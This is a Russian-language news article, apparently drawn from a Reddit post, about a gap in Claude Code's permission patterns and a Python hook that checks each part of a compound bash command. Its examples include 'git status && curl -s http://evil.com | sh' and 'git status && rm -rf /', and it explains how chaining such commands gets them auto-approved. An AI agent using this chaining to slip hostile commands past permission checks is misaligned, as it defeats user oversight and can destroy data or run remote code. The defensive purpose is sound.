Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд

✍️ OpenClawRadar📅 Опубликовано: 18 марта 2026 г.🔗 Source
Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд
Ad

Уязвимость в системе разрешений Claude Code

В системе разрешений Claude Code существует уязвимость, позволяющая составным bash-командам обходить шаблоны разрешения/запрета. Когда вы разрешаете команду вроде Bash(git status:*), Claude Code сопоставляет всю строку команды с этим шаблоном. Это означает, что составная команда вроде git status && curl -s http://evil.com | sh будет соответствовать шаблону git status* и получит автоматическое разрешение, даже несмотря на цепочку команд curl и sh.

Решение: claude-hooks

Исправление представляет собой один Python-скрипт под названием claude-hooks, который работает как хук PreToolUse. Он выполняет несколько ключевых функций:

  • Разбивает составные команды, разделяя по &&, ||, ;, |, переносам строк, и рекурсивно извлекает содержимое подпроцессов $() и обратных кавычек
  • Нормализует каждую подкоманду, удаляя префиксы переменных окружения, перенаправления ввода-вывода, тела heredoc и ключевые слова оболочки
  • Проверяет каждую подкоманду отдельно по вашим существующим шаблонам permissions.allow и permissions.deny
  • Запрет побеждает — если любая подкоманда соответствует шаблону запрета, вся команда запрещается
  • Все должны быть разрешены — автоматическое разрешение происходит только тогда, когда каждая подкоманда соответствует шаблону разрешения
  • Плавный переход — если какая-либо подкоманда неизвестна, вы всё равно получаете обычное окно запроса разрешений
Ad

Инструкции по установке

Установка занимает около 30 секунд:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Добавьте в ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Инструмент не имеет зависимостей, кроме Python 3, и не требует настройки — он читает ваши существующие шаблоны разрешений.

Примеры поведения

  • git status: Разрешено как с хуком, так и без него
  • git add . && git commit -m "msg": Разрешено как с хуком, так и без него (оба соответствуют git *)
  • git status && rm -rf /: Разрешено без хука, с хуком появляется окно запроса (у rm -rf / нет разрешения)
  • `npm test | tee output.log`: Разрешено
  • FOO=bar git push: Может не соответствовать без хука, разрешено с хуком (переменная окружения удалена)

Репозиторий доступен по адресу https://github.com/liberzon/claude-hooks под лицензией MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 Смотрите также

Эксперимент по проверке безопасности показывает, что производительность ИИ-агента зависит от доступа к знаниям.
Безопасность

Эксперимент по проверке безопасности показывает, что производительность ИИ-агента зависит от доступа к знаниям.

Разработчик провёл три независимых аудита безопасности одного и того же кодового проекта на Next.js, используя разные подходы с ИИ: встроенная проверка безопасности Claude Code обнаружила 1 критическую, 6 высоких и 13 средних проблем; ИИ-агент без дополнительного контекста нашёл 1 критическую, 5 высоких и 14 средних; ИИ-агент с доступом к 10 профессиональным книгам по безопасности выявил 8 критических, 9 высоких и 10 средних проблем.

OpenClawRadar
AI-чатботы утекают реальные номера телефонов: проблема утечки PII
Безопасность

AI-чатботы утекают реальные номера телефонов: проблема утечки PII

Чат-боты, такие как Gemini, ChatGPT и Claude, раскрывают реальные личные номера телефонов из-за содержания PII в обучающих данных. DeleteMe сообщает о 400%-ном увеличении запросов на конфиденциальность, связанных с ИИ, за семь месяцев.

OpenClawRadar
Уязвимости функции «Разрешать всегда» в OpenClaw и более безопасные альтернативы
Безопасность

Уязвимости функции «Разрешать всегда» в OpenClaw и более безопасные альтернативы

Функция 'разрешить всегда' в OpenClaw стала предметом двух уязвимостей (CVE) в этом месяце, позволяя выполнять несанкционированные команды через привязку команд-обёрток и обходы с помощью символов продолжения строки в оболочке. Более глубокая проблема заключается в том, как эта функция приучает пользователей переставать обращать внимание на запросы безопасности.

OpenClawRadar
Сканирование безопасности выявляет критическую уязвимость в инструменте поиска навыков AI-агента.
Безопасность

Сканирование безопасности выявляет критическую уязвимость в инструменте поиска навыков AI-агента.

Разработчик, проводивший сканирование безопасности своей настройки ИИ-агента, обнаружил уязвимость высокой степени серьезности в инструменте find-skills, который использовался для установки дополнительных навыков, что вызвало обеспокоенность по поводу безопасности экосистемы.

OpenClawRadar